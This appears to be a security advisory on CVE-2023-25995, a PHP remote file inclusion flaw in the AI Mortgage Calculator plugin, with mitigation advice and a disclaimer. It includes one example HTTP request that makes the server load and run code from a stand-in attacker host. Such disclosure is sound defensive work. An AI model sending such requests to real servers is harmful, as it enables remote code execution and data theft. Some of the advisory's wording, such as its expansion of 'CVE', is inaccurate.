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CVE-2023-25995: PHP Remote File Inclusion Vulnerability in AI Mortgage Calculator

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Overview

The Critical Vulnerability Exposure (CVE) CVE-2023-25995 is a high-level security flaw found in the AI Mortgage Calculator used by choicehomemortgage. This vulnerability arises due to the ‘PHP Remote File Inclusion’, which can allow an intruder to introduce malicious codes into the system. The flaw potentially affects all versions up to 1.0.1 of the AI Mortgage Calculator, making it a serious concern for any organization or individual using this software.

Vulnerability Summary

CVE ID: CVE-2023-25995
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Potential Data Leakage

Affected Products

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Product | Affected Versions

AI Mortgage Calculator | Up to 1.0.1

How the Exploit Works

This particular exploit takes advantage of the improper control of filenames for the ‘Include/Require’ statement in the PHP program. This would allow an attacker to remotely include a file from any location, local or otherwise. The included file can then execute arbitrary PHP code, thereby compromising the system. In essence, the vulnerability allows an attacker to control what file is included and executed by the vulnerable application.

Conceptual Example Code

Here is a hypothetical example of how an HTTP request exploiting this vulnerability might look:

GET /calculator.php?file=http://malicious.example.com/malicious_code.php HTTP/1.1
Host: vulnerablehost.com
Accept: */*

In this example, the attacker has included a PHP file from a remote server (`http://malicious.example.com/malicious_code.php`), which will be executed by the server running the AI Mortgage Calculator application. This could lead to a full system compromise or potential data leakage.
To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. If patches are unavailable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as temporary mitigation.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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